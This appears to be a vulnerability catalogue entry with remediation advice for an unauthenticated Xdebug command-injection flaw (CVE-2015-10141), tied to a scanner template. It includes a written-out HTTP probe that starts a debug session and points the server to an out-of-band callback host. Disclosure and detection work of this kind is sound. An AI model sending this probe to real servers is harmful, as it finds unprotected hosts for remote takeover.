| Title | Xdebug <= 2.5.5 - Command Injection |
|---|---|
| Author | pwnhxl |
| Severity | Critical |
| Impact | Attackers can execute arbitrary PHP code and system commands remotely without authentication, leading to complete server compromise. |
| Remediation | Disable remote debugging in production environments or upgrade to Xdebug version 2.6.0 or later with proper authentication controls. |
| EPSS Score | 0.57243 |
| CVE ID | CVE-2015-10141 |
| CWE ID | CWE-78 |
| Tags | cve cve2015 oast rce vulhub php debug xdebug intrusive vuln |
Xdebug <= 2.5.5 contains an unauthenticated command injection caused by accepting debugger protocol commands without authentication when remote debugging is enabled, letting remote attackers execute arbitrary PHP code and system commands, exploit requires remote debugging enabled.
GET /?XDEBUG_SESSION_START=38Fi6lwiuV5nttELQcM2ouUmytJ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
X-Forwarded-For: d5jql2hle0o48752etl0s9wa9gpwfemuu.oast.online
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-10141.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-10141.pcap
N/AN/A